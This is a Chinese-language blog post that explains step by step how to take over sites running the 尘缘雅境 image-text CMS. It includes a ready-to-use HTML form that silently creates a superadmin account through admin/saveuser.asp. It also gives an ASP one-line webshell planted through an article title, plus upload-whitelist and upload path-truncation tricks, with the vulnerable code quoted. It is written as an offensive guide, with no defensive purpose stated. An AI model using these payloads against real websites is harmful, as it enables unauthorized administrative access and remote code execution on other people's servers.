作者:st0p
转载请注明出处:http://www.st0p.org

其实尘缘雅境图文系统和我上次发的沸腾新闻系统是同一群人开发的,所以漏洞基本相同。。。

如何得到用户名和密码?
1、默认数据库路径没改,直接下载,得到用户名和密码,机会很小。
2、通过注入得到用户名和密码hash,破解hash还原密码,如果实在无法还原的情况下,你可以参考我的上篇文章(沸腾新闻系统 v0.45 拿 SHELL:http://www.st0p.org/blog/archives/boiling-news-system-v0-45-take-shell.html)的方法进行COOKIE欺骗。
3、直接注册用户为管理员,如果开放了注册的话,把下面代码保存为admin.htm,然后把action中的网址改成你对应的目标站就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title></title>
<meta name="author" content="st0p,st0p.org">
</head>
 
<body topmargin="0">
<form align="center" method="post" name="FrmAddLink" action="http://www.st0p.org/admin/saveuser.asp">
      <div align="center">
            <input name="username" value="st0p" type="hidden">
            <input name="passwd" value="st0p.org" type="hidden">
            <input name="passwd2" value="st0p.org" type="hidden">
            <input name="question" value="st0p.org" type="hidden">           
            <input name="answer" value="st0p.org" type="hidden">
	    <input name="fullname" value="st0p.org" type="hidden">
	    <input name="depid" value="1" type="hidden">
            <input name="sex" value="先生" type="hidden">
            <input name="birthyear" value="1950" type="hidden">
            <input name="birthmonth" value="1" type="hidden">
            <input name="birthday" value="1" type="hidden">
            <input name="tel" value="1234567" type="hidden">
            <input name="email" value="webmaster@google.com" type="hidden">
            <input name="photo" value="" type="hidden">
            <input name="purview" type="hidden" value="99999">
            <input name="oskey" type="hidden" value="super">
            <input name="reglevel" type="hidden" value="1">
            <input name="jingyong" type="hidden" value="0">
            <input type="submit" value="添加管理员" name="cmdOk" class="buttonface" style="font-family: 宋体; font-size: 9pt;">
            </p>
      </div>
    </form>
</body>
</html>

添加成功后,我们直接用帐号:st0p 密码:st0p.org登陆后台就可以了。

当然不只以上的方法拿到管理员的信息,由于我们讨论的是拿SHELL的思路,所以如何得到管理员信息这里我们不多做研究。

如何拿到SHELL?
1、通过远程保存文件,当然这种情况适用于利用iis6,是利用iis6的一个BUG来实现的,具体你可以参考我的上篇文章(沸腾新闻系统 v0.45 拿 SHELL:http://www.st0p.org/blog/archives/boiling-news-system-v0-45-take-shell.html)中的方法拿SHELL
2、登陆后台发一篇文章,标题我们使用

1
<%execute request("st0p")%>

内容随意写,发表成功后,我们访问http://www.st0p.org/admin/createasp.asp,会提示首页调用ASP已经更新!这样我们就得到了了一句话的马了。。
地址为:http://www.st0p.org/lastnewsxp.asp,密码为st0p
3、还有一种是通过进入后台,在系统管理-->网站属性-->上传类型中添加脚本的类型的方法,本来我们应该可以添加如asp,php,aspx,cer,asa等等类型的,然后发表文章的时候直接上传脚本来实现的。不过程序中由于以下代码过滤了asp,aspx,asa,所以只有当支持CER,PHP或别的脚本类型时可以上传成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
        fileExt=lcase(file.FileExt)
		Forumupload=split(UpFileType,"|")
		for i=0 to ubound(Forumupload)
			if fileEXT=trim(Forumupload(i)) then
				EnableUpload=true
				exit for
			end if
		next
		if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" then
			EnableUpload=false
		end if
		if EnableUpload=false then
			msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType
			founderr=true
		end if

4、利用后台头像上传漏洞,通过NC截取来实现上传SHELL的目的。由于uploadfaceok.asp文件中可以自定义上传路径filepath参数,我们可以通过抓包修改filepath参数,实现截断文件名拿到SHELL,具体利用方法就不在这里发了,大家可以BAIDU一下关于NC上传的知识。重要部分的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
......
 formPath=upload.form("filepath")
 if right(formPath,1)<>"/" then formPath=formPath&"/" 
......
 fileExt=lcase(getFileExtName(file.fileName))
 
 if fileext<>"jpg" and fileext<>"png" and fileext<>"gif" and fileext<>"bmp" then
 	response.write "<span style=""font-family: 宋体; font-size: 9pt"">该文件格式不允许上传 [ <a href=# onclick=history.go(-1)>重新上传</a> ]</span>"
'检测了上传文件名的后缀,但没有检测上传路径是否非法
	response.end
 end if
 
randomize
rannum=int(90000*rnd)+10000
filename=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&rannum&"."&fileExt
 if file.FileSize>0 then         ''如果 FileSize > 0 说明有文件数据
  file.SaveAs Server.mappath(formPath &filename)   '没有过滤就直接带入了formPath
response.write "<script>parent.document.FrmAddLink.photo.value='uploadfile/face/"&FileName&"'</script>"
 end if
......

先总结到这吧,当然应该还有一些别的地方可以利用。但st0p没时间写了,还有事要做。。有空在接着添加吧。。